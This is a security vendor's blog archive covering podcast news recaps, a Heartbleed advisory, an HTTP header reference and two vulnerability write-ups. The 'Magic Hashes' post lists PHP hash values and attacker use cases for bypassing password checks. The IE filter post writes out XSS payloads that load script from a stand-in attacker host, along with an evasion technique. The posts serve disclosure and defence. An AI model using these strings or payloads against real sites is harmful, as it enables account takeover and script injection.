Category Archives: Tools and Applications

#HackerKast 40: OPM Breach, Sourcepoint, AdBlock Plus, NSA and AV software, Adobe Flash, Chrome Listens In via Computer Mic


Hey Everybody! Welcome to our 40th HackerKast! Thanks for listening as always and lets get to the news!

Our first story to chat about this week was news bubbling up still about the recent OPM breach. This time, the news outlets are latching on to the fact that data encryption wouldn’t have helped them in this case. Jeremiah poses the question “Is this true? And if so, when does it protect you?” Robert and I go back and forth a bit about layers of protection and how encryption in this regard will only help with host layer issues. Some other ideas come up about data restrictions being put upon the database queries as they are taking place so that the crown jewels can’t be stolen via one simple hole.

Next, we moved on to a story Robert was drooling over about Google’s new pet project company, Sourcepoint, which exists to stop ad blocking. Apparently they originally launched to detect when ads are being modified, which was apparently an issue in the SEO world. However, the way the tech worked, monitoring the DOM allowed them to pivot a bit to detect ad blocking by users. This could be leveraged to stop the user from blocking, or could alert the user and ask really nicely for them not to block ads which could be harming some sites’ revenue. We then all made the comparison here that the modern age of ads looks a lot like the age of Anti-Virus with the whole cat and mouse game of writing signatures to catch which domains are serving ads.

On the topic of ad blockers, AdBlock Plus added a feature which would allow enterprise level IT admins to roll out the browser plugin to an entire company. We need to remind people that AdBlock Plus also is the ad blocker on the market that will allow ads that pay them to be whitelisted. This means the more computers their software is on, the more they can ask to be whitelisted.

Jer couldn’t wait to talk about this next story about the NSA reverse engineering AV software. He starts by giving us all a quick history lesson of his interest in AV being the ironic attack vector for hackers to get into systems. The current story is about a recently leaked Snowden document that outlined an NSA program which reversed AV software — including Kaspersky — to utilize it to track and monitor users. Not a good week for Kaspersky coming off the heels of Duqu 2.0 recently.

Our transition from one virus propagator to another here brings us to our next story: Adobe Flash. The initial story that made our list was Brian Krebs talking about detoxing from Flash for 30 days with it completely removed from his system. He gives some good advice about disabling flash, removing it altogether, or enabling click to play. While editing this story though, he had to add a note at the top which proved his point that the day it was published there was an out-of-band Zero-Day patch Adobe released this week. The Zero-Day was identified by some ridiculously named FireEye report of an attack being used in Singapore from a Chinese hacking group they call APT3. We have a good conversation about Flash and what a huge target it’s been and what a nightmare it is to get users to update.

The icing on our cake to go back to ragging on Google is a story that hit the privacy community this week of Chrome listening to you via your computer microphone. For some reason, the initial group they decided to test this with was Chromium users on Debian who noticed the silent update start to log this audio information. Apparently there is some legitimate purpose behind this, like saying “Hi Google” to your computer and giving it voice commands. They then send this audio to their servers to do analysis to improve their service. They double, triple, super duper promise they aren’t logging it or sharing the audio. We went off on a tangent here on how awful of an idea this is. I brought up how we’ve got a nice diagram from the NSA showing how they strip HTTPS at the Google layer to monitor users so it really doesn’t matter if they log or store it if the NSA can just snoop on the wire there. Who knows where this is going to go, but now you might have an always on microphone in your house.

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Join the conversation over on Twitter at #HackerKast
or write us directly @jeremiahg, @rsnake, @mattjay


Encryption Would Not Have Helped at OPM Says DHS Official
Former Google Exec Launches Sourcepoint To Stop Ad Blockers
Adblock Plus Rolls Out Mass Deployment For IT Administrators
NSA Has Reverse-Engineered Popular Consumer Anti-Virus Software In Order To Track Users
Operation Clandestine Wolf: Adobe Flash Zero-Day
Krebs month without Adobe Flash Player
Google Chrome Listening In To Your Room Shows The Importance of Privacy Defense In Depth
Just another source on the Chrome listening to you

Notable stories this week that didn’t make the cut:

Heinz QR porn code too saucy for ketchup customer/
Critical Bug Found in Drupal OpenId
The Myth of the Dark Web
How DOJ Gagged Google over Surveillance of Wikileak’s Appelbaum
1,400 Passengers Grounded in Warsaw Due to Airport Hack
DuckDuckGo on CNBC: We’ve grown 600% since NSA surveillance news broke

Magic Hashes

For more than the last decade, PHP programmers have been wrestling with the equals-equals (==) operator. It’s caused a lot of issues. This has a particular implication for password hashes. Password hashes in PHP are base16 encoded and can come in the form of “0e812389…”. The problem is in == comparison the 0e means that if the following characters are all digits the whole string gets treated as a float. This was pointed out five years ago by Gregor Kopf, two years ago by Tyler Borland and Raz0r and again a year ago by Michal Spacek and Jos Wetzels but this technique is making more waves this past week.

Below is a list of hash types that when hashed are ^0+e\d*$ which equates to zero in PHP when magic typing using the “==” operator is applied. That means that when a password hash starts with “0e…” as an example it will always appear to match the below strings, regardless of what they actually are if all of the subsequent characters are digits from “0-9″. The implication is that these magic numbers when hashed are treated as the number “0” and compared against other hashes, the comparison will evaluate to true. Think of “0e…” as being the scientific notation for “0 to the power of some value” and that is always “0”. PHP interprets the string as an Integer.

if (hash('md5','240610708',false) == '0') {
  print "Matched.\n";
if ('0e462097431906509019562988736854' == '0') {
  print "Matched.\n";

What this practically means is that the following “magic” strings are substantially more likely to evaluate to true when hashed given a completely random hash (E.g. a randomly assigned password, nonce, file hash or credential). Likewise if a straight guess of a hash is required the associated hashes are proven to be typed into the float “0” with the “==” comparison operator in PHP, and if another hash in a database also starts with a “0e…” the comparison will evaluate to true. Therefore, the hashes can also be substantially more likely to evaluate to true when compared with a database of hashes, even if they don’t actually match. Many cookies, as an example are simply hashes, and finding a collision becomes much more likely depending on how many valid credentials are in use at the time of test (See: Birthday paradox).

Use Case 1: Use the “Magic” Number below as a password or as a string that you expect to be hashed. When it is compared against the hash of the actual value, and if they both are treated as “0” and therefore evaluated as true, you will be able to log into the account without the valid password. This could be forced to happen in environments where automatic passwords are chosen for users during a forgot password flow and then attempting to log in immediately afterwards, as an example.

Use Case 2: The attacker can simply take the example in the Hash column in the table below and use it as a value. In some cases these values are simply done as a look-up against known values (in memory, or perhaps dumped from a database and compared). By simply submitting the hash value, the magic hash may collide with other hashes which both are treated as “0” and therefore compare to be true. This could be caused to happen

Hash Type

Hash Length

“Magic” Number / String

Magic Hash

Found By
md2 32 505144726 0e015339760548602306096794382326 WhiteHat Security, Inc.
md4 32 48291204 0e266546927425668450445617970135 WhiteHat Security, Inc.
md5 32 240610708 0e462097431906509019562988736854 Michal Spacek
sha1 40 10932435112 0e07766915004133176347055865026311692244 Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham
sha224 56
sha256 64
sha384 96
sha512 128
ripemd128 32 315655854 0e251331818775808475952406672980 WhiteHat Security, Inc.
ripemd160 40 20583002034 00e1839085851394356611454660337505469745 Michael A Cleverly
ripemd256 64
ripemd320 80
whirlpool 128
tiger128,3 32 265022640 0e908730200858058999593322639865 WhiteHat Security, Inc.
tiger160,3 40 13181623570 00e4706040169225543861400227305532507173 Michele Spagnuolo
tiger192,3 48
tiger128,4 32 479763000 00e05651056780370631793326323796 WhiteHat Security, Inc.
tiger160,4 40 62241955574 0e69173478833895223726165786906905141502 Michele Spagnuolo
tiger192,4 48
snefru 64
snefru256 64
gost 64
adler32 8 FR 00e00099 WhiteHat Security, Inc.
crc32 8 2332 0e684322 WhiteHat Security, Inc.
crc32b 8 6586 0e817678 WhiteHat Security, Inc.
fnv132 8 2186 0e591528 WhiteHat Security, Inc.
fnv164 16 8338000 0e73845709713699 WhiteHat Security, Inc.
joaat 8 8409 0e074025 WhiteHat Security, Inc.
haval128,3 32 809793630 00e38549671092424173928143648452 WhiteHat Security, Inc.
haval160,3 40 18159983163 0e01697014920826425936632356870426876167 Independently found by Michael Cleverly & Michele Spagnuolo
haval192,3 48 48892056947 0e4868841162506296635201967091461310754872302741 Michael A. Cleverly
haval224,3 56
haval256,3 64
haval128,4 32 71437579 0e316321729023182394301371028665 WhiteHat Security, Inc.
haval160,4 40 12368878794 0e34042599806027333661050958199580964722 Michele Spagnuolo
haval192,4 48
haval224,4 56
haval256,4 64
haval128,5 32 115528287 0e495317064156922585933029613272 WhiteHat Security, Inc.
haval160,5 40 33902688231 00e2521569708250889666329543741175098562 Michele Spagnuolo
haval192,5 48 52888640556 0e9108479697641294204710754930487725109982883677 Michele Spagnuolo
haval224,5 56
haval256,5 64

To find the above, I iterated over a billion hashed integers of each hash type to attempt to find an evaluation that results in true when compared against “0”. If I couldn’t find a match within the billion attempts I moved on to the next hashing algorithm. This technique was inefficient but it was reasonably effective at finding a “Magic” Number/String associated with most hash algorithms with a length of 32 hex characters or less on a single core. The one exception was “adler32″ which is used in zlib compression as an example and required a slightly different tactic. The moral of the story here is for the most part the more bits of entropy in a hash the better defense you will have. Here is the code used I used (adler32 required a lot of special treatment to find a valid hash that didn’t contain special characters):

function hex_decode($string) {
  for ($i=0; $i < strlen($string); $i)  {
    $decoded .= chr(hexdec(substr($string,$i,2)));
    $i = (float)($i)+2;
  return $decoded;
foreach (hash_algos() as $v) {
  $a = 0;
  print "Trying $v\n";
  while (true) {
    if ($a > 1000000000) {
    if ($v === 'adler32') {
      $b = hex_decode($a);
    } else {
      $b = $a;
    $r = hash($v, $b, false);
    if ($r == '0') {
      if(preg_match('/^[\x21-\x7e]*$/', $b)) {
        printf("%-12s %s %s\n", $v, $b, $r);

I didn’t have to just use integers as found in most of the results but it was slightly easier to code. Also, in hindsight it’s also slightly more robust because sometimes people force the passwords to upper or lowercase, and numbers are uneffected by this, so using integers is slightly safer. However, in a practical attack, an attacker might have to find a password that conforms to password requirements (at least one upper case, one lower case, one number and one special character) and also is evaluated into zero when hashed. For example, after 147 million brute force attempts, I found that “Password147186970!” converts to “0e153958235710973524115407854157″ in md5 which would meet that stringent password requirement and still evaluate to zero.

To round this out, we’ve found in testing that a 32 character hash has collisions with this issue in about 1/200,000,000 of random hash tests. That’s thankfully not that often, but it’s often enough that it might be worth trying on a high volume website or one that generates lots of valid credentials. Practically this is rather difficult to do, thankfully, without sending a massive amount of attempts in the most likely instances. Note: there are similar issues with “0x” (hex) and “0o” (octal) as well but those characters do not appear in hashes, so probably less interesting in most cases. It’s also worth mentioning that “==” and “!=” both suffer from the same issue.

Are websites really vulnerable to this attack? Yes, yes, they are. This will surely cause issues across many many different types of code repositories like this and this and this and this to name just a few. Similar confusion could be found in Perl with “==” and “eq”, as well as loosely cast languages like JavaScript as well. (Thanks to Jeremi M Gosney for help thinking this through.) I wouldn’t be surprised to see a lot of CVEs related to this.

Patch: Thankfully the patch is very simple. If you write PHP you’ve probably heard people mention that you should be using triple equals “===”. This is why. All you need to do is change “==” to “===” and “!=” to “!==” respectively to prevent PHP from attempting to guess the variable type (float vs string). Some people have also recommended using the “hash_equals” function.

WhiteHat will now be testing this with both our dynamic scanner and static code analysis for WhiteHat customers. If you want a free check please go here. This is rather easily found using static code analysis looking for comparisons of hashes in PHP. Lastly, if you have some computing horsepower and have any interest in this attack, please consider contributing to any value/hash pairs that we haven’t found samples for yet or for hash algorithms we haven’t yet listed.

#HackerKast 31: RSA San Francisco

We have a special and rare treat this week on HackerKast: Jeremiah, Matt and Robert all together in San Francisco for RSAC. They give a brief overview of some of the interesting conversations and topics they’ve come across.

A recurring topic in conversations with Robert is about how DevOps can improve security and help find vulnerabilities faster. Matt mentions Gauntlt, a cool new project that he contributes to. Gauntlt is a tool that puts security tools into your build-pipeline to test for vulnerabilities before the code goes to production.

Matt also mentions that his buddies at Verizon came out with data showing that people aren’t getting hacked by mobile apps. We haven’t seen large data breaches via mobile apps lead to any financial loss. With the recent surge in mobile use for sensitive data, are these types of data breaches something we should worry about?

On a more pleasant note, Jer was happy to hear that people and companies are realizing the importance of security. Industry leaders are now showing interest in doing application security the right way through a holistic approach.

Also at RSA, Jer talks security guarantees while Matt/Kuskos dive into our Top 10 Web Hacks.

dnstest – Monitor Your DNS for Hijacking

In light of the latest round of attacks against and/or hijacking of DNS, it occurred to me that most people really don’t know what to do about it. More importantly, many companies don’t even notice they’ve been attacked until a customer complains. Especially for smaller companies who may not have as many customers, or only accept comments through a website, they may never know unless they randomly check, or the attacker releases the site and the flood of complaints comes rolling in after the fact.

So I wrote a little tool called “” (yes a Perl script) that can be run out of cron and can monitor one or more hostname-to-IP-address pairs of sites that are critical to you. If anything happens it’ll send you an alert via email. There are other tools that do this or similar things, but it’s another tool in your arsenal; and most importantly dnstest is meant to be very lightweight and simple to use. You can download dnstest here.

Of course this is only the first step. Reacting quickly to the alert simply reduces the outage and the chance of customer complaints or similar damage. If you like it but want it to do something else, go ahead and fork it. Enjoy!

Aviator Going Open Source

One of the most frequent criticisms we’ve heard at WhiteHat Security about Aviator is that it’s not open source. There were a great many reasons why we didn’t start off that way, not the least of which was getting the legal framework in place to allow it, but we also didn’t want our efforts to be distracted by external pressures while we were still slaving away to make the product work at all.

But now that we’ve been running for a little more than a year, we’re ready to turn over the reins to the public. We’re open sourcing Aviator to allow experts to audit the code and also to let industrious developers contribute to it. Yes, we are actually open sourcing the code completely, not just from a visibility perspective.

Why do this? I suspect many people just want to be able to look at the code, and don’t have a need to – or lack the skills to – contribute to it. But we also received some really compelling questions from the people who have an active interest in the Tor community who expressed an interest in using something based on Chromium, and who also know what a huge pain it is to make something work seamlessly. For them, it would be a lot easier to start with a more secure browser that had removed a lot of the Google specific anti-privacy stuff, than to re-invent the wheel. So why not Aviator? Well, after much work with our legal team the limits of licensing are no longer an issue, so now that is now a real possibility. Aviator is now BSD (free as in beer) licensed!

So we hope that people use the browser and make it their own. We won’t be making any additional changes to the browser; Aviator is now entirely community-driven. We’ll still sign the releases, QA them and push them to production, but the code itself will be community-driven. If the community likes Aviator, it will thrive, and now that we have a critical mass of technical users and people who love it, it should be possible for it to survive on its own without much input from WhiteHat.

As an aside, many commercial organizations discontinue support of their products, but they regularly fail to take the step of open sourcing their products. This is how Windows XP dies a slow death in so many enterprises, unpatched, unsupported and dangerously vulnerable. This is how MMORPG video games die or become completely unplayable once the servers are dismantled. We also see SAAS companies discontinue services and allow only a few weeks or months for mass migrations without any easy alternatives in sight. I understand the financial motives behind planned obsolescence, but it’s bad for the ecosystem and bad for the users. This is something the EFF is working to resolve and something I personally feel that all commercial enterprises should do for their users.

If you have any questions or concerns about Aviator, we’d love to hear from you. Hopefully this is the browser “dream come true” that so many people have been asking for, for so long. Thank you all for supporting the project and we hope you have fun with the code. Aviator’s source code can be found here on Github. You don’t need anything to check it out. If you want to commit to it, shoot me an email with your github account name and we’ll hook you up. Go forth! Aviator is yours!

Security Guaranteed: Customers Deserve Nothing Less

WhiteHat Security Sentinel Elite

Ever notice how everything in the information security industry is sold “as is”? No guarantees, no warrantees, no return policies. This provides little peace of mind that any of the billions that are spent every year on security products and services will deliver as advertised. In other words, there is no way of ensuring that what customers purchase truly protects them from getting hacked, breached, or defrauded. And when these security products fail – and I do mean when – customers are left to deal with the mess on their own, letting the vendors completely off the hook. This does not seem fair to me, so I can only imagine how a customer might feel in such a case. What’s worse, any time someone mentions the idea of a security guaranty or warranty, the standard retort is “perfect security is impossible,” “we provide defense-in-depth,” or some other dismissive and ultimately unaccountable response.

Still, the naysayers have a valid point. Given enough time and energy, everything can be hacked, including security products, but this admission does not inspire much confidence in those who buy our warez and whose only fear is getting hacked. We, as an industry, are not doing anything to alleviate that fear. With something as important as information security is today, personally I think customers deserve more assurance. I believe customers should demand accountability from their vendors in particular. I believe the “as is” culture in security is something the industry must move away from. Why? Because if it were incumbent upon vendors to stand by their product(s) we would start to see more push against the status quo and, perhaps, even renewed innovation.

At the core of the issue is bridging the gap between the “nothing-is-perfect” mindset and the business requirements for providing security guarantees.

If you think about it, many other industries already offer guarantees, warrantees, or 100% return policies for less than perfect products. Examples include electronics, clothing, cars, lawn care equipment, and basically anything you buy on Amazon. As we know, all these items have defect rates, yet it doesn’t appear to prevent those sellers from standing behind their products. Perhaps the difference is, unlike most security vendors, these merchants know their product failure rates and replacement costs. This business insight is precisely why they’re willing to reimburse their customers accordingly. Security vendors by contrast tend NOT to know their failure rates, and if they do, they’re likely horrible (anti-virus is a perfect example of this). As such, vendors are unwilling to put their money where their mouth is, the “as is” culture remains, and interests between security vendor and customer are misaligned.

The key then, is knowing the security performance metrics and failure rates (i.e. having enough data on how the bad guys broke in and why the security controls failed) of the products. With this information in hand, offering a security guarantee is not only possible, but essential!

WhiteHat Security is in a unique position to lead the charge away from selling “as is” and towards security guarantees. We can do this, because we have the data and metrics to prove our performance. Other Software-as-a-Service vendors could theoretically do the same, and we encourage them to consider doing so.

For example, at WhiteHat we help our customers protect their websites from getting hacked by identifying vulnerabilities and helping to get them fixed before they’re exploited. If the bad guys are then unable to find and exploit a vulnerability we missed, or if they decide to move on to easier targets, that’s success! Failure, on the other hand, is missing a vulnerability we should have found which results in the website getting hacked. This metric – the product failure rate – is something any self-respecting vulnerability assessment vendor should track very closely. We do, and here’s how we bring it all together:

  1. WhiteHat’s Sentinel scanning platform and the 100+ person army of Web security experts behind it in our Threat Research Center (TRC) tests tens of thousands of websites on a 24x7x365 basis. We’ve been doing this for more than a decade and we have a larger and more accurate website vulnerability data set than anyone else. We know with a fine degree of accuracy what vulnerabilities we are able to identify – and which ones we are not.
  2. We also have data sharing relationships with Verizon (and others) on the incident side of the equation. This is to say we have good visibility into what attack techniques the bad guys are trying and what they’re likely to successfully exploit. This insight helps us focus R&D resources towards the vulnerabilities that matter most.
  3. We also have great working relationships with our customers so that when something unfortunate does occur – which can be anything from something as simple as a ‘missed’ vulnerability, to a site that was no longer being scanned by our solution that contained a vulnerability, all the way to a real breach – we’re in the loop. This is how we can determine whether something we missed and should have found actually results in a breach.

Bottom line: in the past 10+ years of performing countless assessments and identifying millions of vulnerabilities, there have been only a small number of instances in which we missed a vulnerability that we should have found that we know was likely used to cause material harm to our customers. All told, our failure rate is far less than even one percent (<.01%), which is an impressive track record and one that we are quite proud of. I am not familiar with any other software scanning vendor who even claims to know what their failure rate metric is, let alone has the confidence to publicly talk about it. And it is for this reason that we can confidently stand behind our own security guarantee for customers with the new Sentinel Elite.

Introducing: Sentinel Elite

Sentinel Elite is a brand new service line from WhiteHat in which we deploy our best and most comprehensive website vulnerability assessment processes. Sentinel Elite builds on the proven security of WhiteHat Sentinel, which offers the lowest false-positive rate of any web application security solution available as well as more than 10 years of website vulnerability assessment experience. This service, combined with a one-of-a-kind security guarantee from WhiteHat gives customers the confidence in both their purchase decisions as well as the integrity of their websites and data.

Sentinel Elite customers will have access to a dedicated subject matter expert (SME) who expedites communication and response times, as well as coordinates the internal and external activities supporting your applications security program. The SME will also supply prioritized guidance support, so customers know which vulnerabilities to fix first… or not! Customers also receive access to the WhiteHat Limited Platinum Support program, which includes a one-hour SLA, quarterly summaries and exploit reviews, as well as a direct line to our TRC. Sentinel Elite customers must in turn provide us with what we need to do our work, such as giving us valid website credentials and taking action to remediate identified vulnerabilities. Provided everyone does what they are responsible for, our customers can rest assured that their website and critical applications will not be breached. And we are prepared to stand behind that claim.

If it happens that a website covered by Sentinel Elite gets hacked, specifically using a vulnerability we missed and should have found, the customer will be refunded in full. It’s that simple.

We know there will be those in the community who will be skeptical. That’s the nature of our industry and we understand the skepticism. In the past, other security vendors have offered half-hearted or gimmicky guarantees, but that’s not what we’re doing here. We’re serious about web security, we always have been. We envision an industry where outcomes and results matter, a future where all security products come with security guarantees, and most importantly, a future where the vendors’ best interests are in line with their customers’ best interests. How amazing would that be not only for customers but also for the Internet and the world we live, work and do business in? Sentinel Elite is the first of many steps we are taking to make this a reality.

For more information about Sentinel Elite, please click here.

WhiteHat Security Observations and Advice about the Heartbleed OpenSSL Exploit

The Heartbleed SSL attack is one of the most significant, and media-covered, vulnerabilities affecting the Internet in recent years. According to Netcraft, 17.5% of SSL-enabled sites on the Internet were vulnerable to the Heartbleed SSL attack just prior to its disclosure.

The vulnerable versions of OpenSSL were first released to the public 2 years ago. The implications of 2 years of exposure to this vulnerability are significant, and we will explore that more at the end of this article. First – immediate details:

This attack does not require any MitM (Man in the Middle) or other complex setups that SSL exploits usually require. This attack can be executed directly and anonymously against any webserver/device running a vulnerable version OpenSSL, and yield a wealth of sensitive information.

WhiteHat Security’s Threat Research Center (TRC) began testing customers for vulnerability to this attack immediately, using a custom SSL-testing tool from our TRC R&D labs. Our initial conclusions were that the frequency with which sites were vulnerable to this attack was low on production applications being monitored by the WhiteHat Sentinel security service. In our first test sample, covering 18,000 applications, we found a vulnerability rate of about 2% – much lower than Netcraft’s 17.5% vulnerability rate for all SSL-enabled websites. This may be a result of a biased sample, since we only evaluated applications under Sentinel service. (This may be because application owners who use Sentinel are already more security-conscious than most.)

While the frequency of vulnerability to the Heartbleed SSL attack is low: those that are vulnerable are severely vulnerable. Everything in memory on the webserver/device running a vulnerable version of OpenSSL is exposed. This includes:

  • UserIDs
  • Passwords
  • PII (Personally Identifiable Information)
  • SSL certificate private keys (e.g.-SSL using this cert will never be private again, if compromised)
  • Any private crypto keys
  • SSL-based Chat
  • SSL-based VPN
  • SSL-based anything
  • Connection Strings (Database userIDs/Passwords) to back-end databases, mainframes, LDAP, partner systems, etc. loaded in memory
  • Additional vulnerabilities in source code, that are loaded into memory, with precise locations (e.g.-Blind SQL injection)
  • Basically any code or data in memory on the server running a vulnerable version of OpenSSL is rendered in clear-text to all attackers

The most important thing you need to know regarding the above: this attack leaves no traces. No logs. Nothing suspect. It is a nice, friendly, read-only anonymous dump of memory. This is the digital equivalent of accidentally leaving a copy of your corporate diary, with all sorts of private secrets, on the seat of the mass-transit bus for everyone to read – including strangers you will never know. Your only recourse for secrets like passwords now is the delete key.

The list of vulnerable applications published to date includes mainstream web and mobile applications, security devices with web interfaces, and critical business applications handling sensitive and federally-regulated data.

This is a seriously sub-optimal situation.

Timeline of the Heartbleed SSL attack and WhiteHat Security’s response:

April 7th: Heartbleed 0day attack published. Websites vulnerable to the attack included major websites/email services that the majority of the Internet uses daily, and many mobile applications that use OpenSSL.

April 8th: WhiteHat TRC begins testing customers’ sites for vulnerability to Heartbleed SSL exploitation. In parallel, WhiteHat R&D begins QAing new automated tests to enable Sentinel services to identify this vulnerability at scale.

April 9th: WhiteHat TRC identifies roughly 350 websites vulnerable to Heartbleed SSL attack, out of initial sample of 18,000 production applications. We find an initial 1.9% average exploitability but this percentage appears to drop rapidly in the next 48 hours.

April 10th: WhiteHat R&D releases new Sentinel Heartbleed SSL vulnerability tests, enabling Sentinel to automatically identify if any applications under Sentinel service are vulnerable to Heartbleed SSL attacks with every scan. This brings test coverage to over 35,000 applications. Average vulnerability rate drops to below 1% by EOD April 10th.

Analysis: the more applications we scan using the new Heartbleed SSL attack tests, the fewer sites (by percent) we find vulnerable to this attack. We suspect this is because most customers have moved quickly to patch this vulnerability, due to the extreme severity of the vulnerability and the intense media coverage of the issue.

Speculation: we suspect that this issue will quickly disappear for most important SSL-enabled applications on the Internet – especially applications under some type of active DAST or SAST scanning service. It will likely linger on with small sites hosted by providers that do not offer (or pay attention to) any form of security patching service.

We also expect this issue to persist with internal (non-Internet-facing) applications and devices that use SSL, but which are commonly not tested or monitored by tools or services capable of detecting this vulnerability, and that are less frequently upgraded.

While the attack surface of internal network applications & devices may appear to be much smaller than Internet-facing applications, simple one-click exploits are already available on the Internet, usable by anyone on your network with access to a web browser. (link to exploit code:

This means that any internal user on your network who downloads one of these exploits is capable of extracting everything in memory from any device or application on your internal network that is vulnerable. This includes:

  • Internal routers and switches
  • Firewalls and IDS systems
  • Human Resources applications
  • Finance and payroll applications
  • Pretty much any application or device running a vulnerable version of OpenSSL
  • Agents exploiting internal devices will see all network traffic or application data in memory on the affected device/application

Due to the fact that most of these internal applications and devices lack the type of logging and alerting that would notify Information Security teams of active abuse of this vulnerability, our concern is that in coming months these internal devices & applications may provide rich grounds for exploitation that may never be discovered.

Conclusion & Recommendations:
The scope, impact, and ease-of-exploitation of this vulnerability make it one of the worst in Internet history. However, patches are readily available for most systems, and the impact risk of patching seems minimal. It appears most of our customers have already patched the majority of their Internet-facing systems against this exploit.

However, this vulnerability has existed for up to 2 years in OpenSSL implementations. We will likely never know if anyone has been actively exploiting this vulnerability, due to difficultly in logging/tracking attacks. If your organization is concerned about this, we recommend that — in addition to patching this vulnerability — SSL certificates of suspect systems be revoked and re-issued. We also recommend that all end-user passwords and system passwords be changed on suspect systems.

Is this vulnerability a “boy that cried wolf” hype situation? Bruce Schneier has another interesting perspective on this:

WhiteHat will continue to share more information about this vulnerability as further information becomes available.

General reference material:

Vulnerability details:

Exploit details:


Adding Open Source Framework Hardening to Your SDLC – Podcast

I talk with G.S. McNamara, Federal Information Security Senior Consultant, about fixing open source framework vulnerabilities, what to consider when pushing open source, how to implement a system around patches without impacting performance, and security considerations on framework selections.

Want to do a podcast with us? Signup to be part of our Unsung Hero program.

About our “Unsung Hero Program”
Every day app sec professionals tirelessly protect the Web, and we recognize that this is largely owed to a series of small victories. These represent untold stories. We want to help share your story. To learn more click here.

List of HTTP Response Headers

Every few months I find myself looking up up the syntax of a relatively obscure HTTP header. Regularly I find myself wondering why there isn’t a good definitive list of common HTTP Response headers anywhere. Usually the lists on the Internet are missing half a dozen HTTP headers. So I’ve taken care to gather a list all of the HTTP response headers I could find. Hopefully this is useful to you, and removes some of the mystique behind how HTTP works if you’ve never seen headers before.

Note: this does not include things like IncapIP or other proxy/service specific headers that aren’t standard, and nor does it include request headers.

Header Example Value Notes
Access-Control-Allow-Credentials true
Access-Control-Allow-Headers X-PINGOTHER
Access-Control-Allow-Methods PUT, DELETE, XMODIFY
Access-Control-Expose-Headers X-My-Custom-Header, X-Another-Custom-Header
Access-Control-Max-Age 2520
Accept-Ranges bytes
Age 12
Allow GET, HEAD, POST, OPTIONS Commonly includes other things, like PROPFIND etc…
Alternate-Protocol 443:npn-spdy/2,443:npn-spdy/2
Cache-Control private, no-cache, must-revalidate
Client-Date Tue, 27 Jan 2009 18:17:30 GMT
Client-Response-Num 1
Connection Keep-Alive
Content-Disposition attachment; filename=”example.exe”
Content-Encoding gzip
Content-Language en
Content-Length 1329
Content-Location /index.htm
Content-MD5 Q2hlY2sgSW50ZWdyaXR5IQ==
Content-Range bytes 21010-47021/47022
Content-Security-Policy, X-Content-Security-Policy, X-WebKit-CSP default-src ‘self’ Different header needed to control different browsers
Content-Security-Policy-Report-Only default-src ‘self'; …; report-uri /csp_report_parser;
Content-Type text/html Can also include charset information (E.g.: text/html;charset=ISO-8859-1)
Date Fri, 22 Jan 2010 04:00:00 GMT
ETag “737060cd8c284d8af7ad3082f209582d”
Expires Mon, 26 Jul 1997 05:00:00 GMT
HTTP /1.1 401 Unauthorized Special header, no colon space delimiter
Keep-Alive timeout=3, max=87
Last-Modified Tue, 15 Nov 1994 12:45:26 +0000
Link <>; rel=”cononical” rel=”alternate”
P3P policyref=””, CP=”NOI DSP COR ADMa OUR NOR STA”
Pragma no-cache
Proxy-Authenticate Basic
Proxy-Connection Keep-Alive
Refresh 5; url=
Retry-After 120
Server Apache
Set-Cookie test=1;; path=/; expires=Tue, 01-Oct-2013 19:16:48 GMT Can also include the secure and HTTPOnly flag
Status 200 OK
Strict-Transport-Security max-age=16070400; includeSubDomains
Trailer Max-Forwards
Transfer-Encoding chunked compress, deflate, gzip, identity
Upgrade HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11
Vary *
Via 1.0 fred, 1.1 (Apache/1.1)
Warning Warning: 199 Miscellaneous warning
WWW-Authenticate Basic
X-Aspnet-Version 2.0.50727
X-Content-Type-Options nosniff
X-Frame-Options deny
X-Permitted-Cross-Domain-Policies master-only Used by Adobe Flash
X-Powered-By PHP/5.4.0
X-Robots-Tag noindex,nofollow
X-UA-Compatible Chome=1
X-XSS-Protection 1; mode=block

If I’ve missed any response headers, please let us know by leaving a comment and I’ll add it into the list. Perhaps at some point I’ll create a similar list for Request headers, if people find this helpful enough.

Bypassing Internet Explorer’s Anti-Cross Site Scripting Filter

There’s a problem with the reflective Cross Site Scripting ("XSS") filter in Microsoft’s Internet Explorer family of browsers that extends from version 8.0 (where the filter first debuted) through the most current version, 11.0, released in mid-October for Windows 8.1, and early November for Windows 7.

In the simplest possible terms, the problem is that the anti-XSS filter only compares the untrusted request from the user and the response body from the website for reflections that could cause immediate JavaScript or VBScript code execution. Should an injection from that initial request reflect on the page not cause immediate JavaScript code execution, that untrusted data from the injection is then marked as trusted data, and the anti-XSS filter will not check it in future requests.

To reiterate: Internet Explorer’s anti-XSS filter divides the data it sees into two categories: untrusted and trusted. Untrusted data is subject to the anti-XSS filter, while trusted data is not.

As an example, let’s suppose a website contains an iframe definition where an injection on the "xss" parameter reflects in the src="" attribute. The page referenced in the src="" attribute contains an XSS vulnerability such that:

GET http://vulnerable-iframe/inject?xss=%3Ctest-injection%3E

results in the “xss” parameter being reflected in the page containing the iframe as:

<iframe src="http://vulnerable-page/?vulnparam=<test-injection>"></iframe>

and the vulnerable page would then render as:

Some text <test-injection> some more text

Should a user make a request directly to the vulnerable page in an attempt to reflect <script src=http://attacker/evil.js></script> as follows:

GET http://vulnerable-page/?vulnparam=%3Cscript%20src%3Dhttp%3A%2F%2Fattacker%2Fevil%2Ejs%3E%3C%2Fscript%3E

Internet Explorer’s anti-XSS filter sees that the injection would result in immediate JavaScript code execution and subsequently modifies the response body to prevent that from occurring.

Even when the request is made to the page containing the iframe as follows:

GET http://vulnerable-iframe/inject?xss=%3Cscript%20src%3Dhttp%3A%2F%2Fattacker%2Fevil%2Ejs%3E%3C%2Fscript%3E

and Internet Explorer’s anti-XSS filter sees it reflected as:

<iframe src="http://vulnerable-page/?vulnparam=<script src=http://attacker/evil.js></script>"></iframe>

which, because it looks like it might cause immediate JavaScript code execution, will also be altered.

To get around the anti-XSS filter in Internet Explorer, an attacker can make use of sections of the HTML standard: Decimal encodings and Hexadecimal encodings.

Hexadecimal encodings were made part of the official HTML standard in 1998 as part of HTML 4.0 (3.2.3: Character references), while Decimal encodings go back further to the first official HTML standard in HTML 2.0 in 1995 (ISO Latin 1 Character Set). When a browser sees a properly encoded decimal or hexadecimal character in the response body of a HTTP request, the browser will automatically decode and display for the user the character referenced by the encoding.

As an added bonus for an attacker, when a decimal or hexadecimal encoded character is returned in an attribute that is then included in a subsequent request, it is the decoded character that is sent, not the decimal or hexadecimal encoding of that character.

Thus, all an attacker needs to do is fool Internet Explorer’s anti-XSS filter by inducing some of the desired characters to be reflected as their decimal or hexadecimal encodings in an attribute.

